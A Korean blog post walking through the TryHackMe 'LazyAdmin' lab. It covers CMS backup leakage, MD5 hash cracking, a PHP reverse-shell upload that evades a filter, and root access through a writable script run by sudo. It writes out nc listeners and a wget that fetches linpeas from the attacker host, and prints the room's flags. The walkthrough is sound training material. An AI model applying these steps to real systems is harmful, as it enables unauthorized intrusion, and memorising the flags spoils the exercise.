lhywk 님의 블로그

[TryHackMe] LazyAdmin 본문

TryHackMe

[TryHackMe] LazyAdmin

lhywk 2026. 2. 5. 11:49

nmap 도구를 사용하여 대상 시스템(10.201.89.72)의 포트 스캔을 진행한다.

  • 22/tcp (SSH): OpenSSH 7.2p2 버전이 실행 중
  • 80/tcp (HTTP): Apache 2.4.18 웹 서버가 동작

80번 포트(HTTP)에 웹 브라우저로 접속한다.

접속 결과 Apache2 Ubuntu Default Page가 나타나는 것을 확인한다. 침투할 힌트는 보이지 않는다.

웹 서버의 숨겨진 디렉토리 및 파일을 탐색하기 위해 Gobuster 도구를 사용한다.

directory-list-2.3-medium.txt 워드 리스트를 사용하여 http://10.201.89.72에 대한 디렉토리 스캔을 수행한다. 스캔 결과, /content 라는 경로를 발견한다.

Gobuster로 발견한 /content 경로에 웹 브라우저로 접속한다.

페이지 접속 결과 해당 경로에 SweetRice라는 콘텐츠 관리 시스템(CMS)이 설치되어 있음을 파악한다.

앞서 발견한 SweetRice CMS의 알려진 취약점을 찾기 위해 Searchsploit 도구를 사용한다.

searchsploit sweetrice 명령어로 Exploit-DB 데이터베이스를 검색한 결과, 다수의 취약점이 존재하는 것을 확인한다. SweetRice 1.5.1 버전을 대상으로 하는 임의 파일 공격에 활용 가능한 여러 익스플로잇 코드를 발견한다.

searchsploit -x 40718 명령어를 사용하여 해당 취약점의 상세 내용을 확인한다.

내용 확인 결과, 이 취약점은 특정 경로를 통해 MySQL 데이터베이스 백업 파일에 접근할 수 있게 해주는 것을 파악한다. /inc/mysql_backup 디렉토리에 접근하여 데이터베이스 백업 파일을 다운로드할 수 있음을 알게 된다.

웹 브라우저를 통해 http://10.201.89.72/content/inc/mysql_backup/ 경로에 직접 접근한다.

mysql_bakup_20191129023059-1.5.1.sql 이라는 이름의 SQL 데이터베이스 백업 파일을 발견한다.

파일을 열어 내용을 분석한다.

파일 내용 중 INSERT 구문에서 관리자 계정 정보를 발견한다. 사용자 이름으로 manager를 확인하고, passwd 필드에서 패스워드 해시값(42f749ade7f9e195bf475f37a44cafcb)을 획득한다.

획득한 관리자 계정 정보를 활용하여 시스템에 침투하기 위해 searchsploit -m 40716 명령을 실행하여 해당 파이썬 익스플로잇 스크립트를 현재 작업 디렉토리로 복사한다.

스크립트 실행 후, 대상 URL과 사용자 이름, 그리고 패스워드를 입력해야 한다. 하지만 패스워드를 알 수 없기 때문에 입력값을 넣을 수 없다.

패스워드 해시값(42f749ade7f9e195bf475f37a44cafcb)을 크랙 하기 위해 온라인 해시 크랙 사이트를 이용한다.

해당 사이트에 해시값을 입력하여 분석한 결과 이 해시는 MD5 타입이며 크랙된 평문 비밀번호는 Password123 임을 확인한다.

임의 파일 업로드 취약점을 통해 시스템 제어권을 획득하기 위한 페이로드를 준비한다.

공격에 널리 사용되는 PHP 리버스 쉘 스크립트(php-reverse-shell.php)를 사용하기로 한다. 이 스크립트는 대상 웹 서버에 업로드되어 실행되면, 지정된 공격자 PC로 접속을 시도하여 원격으로 명령을 내릴 수 있는 쉘을 제공하는 역할을 한다.

php-reverse-shell.php 파일의 raw code에 접근한 후 주소창의 URL을 복사한다.

wget 명령어를 사용하여 php-reverse-shell.php 파일을 공격자 시스템으로 직접 다운로드한다.

mv 명령어를 사용하여 다운로드한 php-reverse-shell.php 파일의 이름을 exploit.php5로 변경한다. 이는 .php 확장자 업로드를 차단하는 필터링을 우회하기 위한 목적이다.

ifconfig tun0 명령어를 실행하여 공격자 IP 주소를 확인한다.

vi 편집기를 사용하여 exploit.php5 파일을 열고 리버스 쉘이 접속할 정보를 수정한다.

스크립트 내부의 $ip 변수 값을 앞서 확인한 공격자의 IP 주소로 변경하고 접속을 받을 $port 변수 값은 7777로 설정한다.

파일 업로드 익스플로잇 스크립트를 실행한다.

스크립트의 프롬프트에 따라 대상 URL, manager 계정의 사용자 이름과 크랙한 비밀번호(Password123) 그리고 미리 수정한 페이로드 파일명(exploit.php5)을 순서대로 입력한다.

실행 결과 스크립트는 성공적으로 파일을 업로드한다. 최종적으로 업로드된 리버스 쉘 페이로드의 웹 경로는 http://10.201.89.72/content/attachment/exploit.php5이다.

리버스 쉘 연결을 수신하기 위해 공격자 시스템에서 nc 리스너를 실행한다.

nc -lvp 7777 명령어를 사용하여 exploit.php5 파일에 설정했던 7777번 포트에서 들어오는 연결을 대기시킨다.

웹 브라우저를 이용하여 이전에 확인한 페이로드 경로인 http://10.201.89.72/content/attachment/exploit.php5에 접속해 exploit.php5 스크립트를 실행시킨다.

대기 중이던 리스너에 대상 서버(10.201.89.72)로부터 연결이 들어오는 것을 확인한다.

이 연결을 통해 대상 시스템의 원격 쉘을 성공적으로 획득한다. www-data 사용자로 실행되고 있음을 파악한다.

python -c "import pty; pty.spawn('/bin/bash')" 명령어를 실행하여 Bash 쉘을 실행시킨다.

/home 디렉토리로 이동하여 itguy 라는 사용자 홈 디렉토리를 발견한다. itguy 디렉토리로 이동 후 파일 목록을 확인하여 user.txt 파일을 찾는다.

cat user.txt 명령으로 파일의 내용을 확인하고, 첫 번째 플래그(THM{63e5bce9271952aad1113b6f1ac28a07})를 획득한다.

첫 번째 문제 풀이에 성공한다.

권한 상승 취약점을 탐색하기 위해 공격자 PC에서 linpeas.sh 스크립트를 대상 시스템으로 전송할 준비를 한다.

python3 -m http.server 5555 명령어를 실행하여 파일 전송을 위한 간단한 HTTP 서버를 5555번 포트로 연다.

wget http://10.21.6.181:5555/linpeas.sh 명령을 실행하여, 공격자 PC의 HTTP 서버로부터 스크립트를 성공적으로 다운로드한다.

chmod +x linpeas.sh 명령어를 사용하여 스크립트를 실행 가능하게 만든다. 그 후, ./linpeas.sh 명령으로 스크립트를 실행하여 시스템의 설정 오류나 권한 상승에 사용될 수 있는 취약점을 자동으로 스캔하기 시작한다.

스크립트의 실행 결과 중 sudo -l 점검 항목을 분석한다.

www-data 사용자가 패스워드 없이 모든 사용자의 권한으로 특정 스크립트를 실행할 수 있도록 설정된 것을 발견한다. 실행 가능한 스크립트는 /usr/bin/perl /home/itguy/backup.pl 이다.

backup.pl 스크립트를 분석하기 위해 /home/itguy 디렉토리로 이동한다.

cat backup.pl 명령으로 스크립트의 내용을 확인한 결과 이 스크립트는 내부적으로 /etc/copy.sh 파일을 sh로 실행시키는 간단한 Perl 스크립트임을 파악한다.

권한 상승의 핵심인 /etc/copy.sh 파일을 분석하기 위해 /etc 디렉토리로 이동한다.

ls -al copy.sh 명령으로 파일의 권한을 확인한 결과 파일의 소유자가 root이며 일반 사용자도 rwx 권한이 주어져 있다.

권한 상승을 위해 /etc/copy.sh 파일의 내용을 공격자의 리버스 쉘 페이로드로 덮어쓰려고 시도한다.

echo 명령어를 사용하여 공격자 PC(10.21.6.181)의 4444번 포트로 연결되는 리버스 쉘 코드를 생성하고 이를 copy.sh 파일에 저장한다.

cat 명령어를 사용하여 바뀐 페이로드가 잘 적용되어 있는지 확인한다.

권한 상승 공격을 통해 획득할 root 쉘을 수신하기 위해 공격자 PC에서 새로운 nc 리스너를 실행한다.

nc -lvp 4444 명령어를 사용하여 4444번 포트에서 연결을 대기시킨다.

sudo /usr/bin/perl /home/itguy/backup.pl 명령어를 실행한다. 이 명령은 backup.pl 스크립트를 root 권한으로 실행시키며 이 스크립트는 내부적으로 /etc/copy.sh 파일에 담긴 리버스 쉘 페이로드를 실행하게 된다.

대기 중이던 nc 리스너에 대상 시스템으로부터의 연결이 수신되어 root 권한의 쉘을 성공적으로 획득한다.

id 명령어를 실행하여 현재 사용자가 uid=0(root)임을 확인한다. /root 디렉토리로 이동하여 root.txt 파일의 내용을 확인하고 최종 플래그(THM{6637f41d0177b6f37cb20d775124699f})를 획득한다.

마지막 문제를 풀이한다.

'TryHackMe' 카테고리의 다른 글

[TryHackMe] Blue  (0) 2026.02.06
[TryHackMe] RootMe  (0) 2026.02.05
[TryHackMe] Bounty Hacker  (0) 2026.02.05
[TryHackMe] Basic Pentesting  (1) 2026.02.04
[TryHackMe] Ignite  (0) 2026.02.04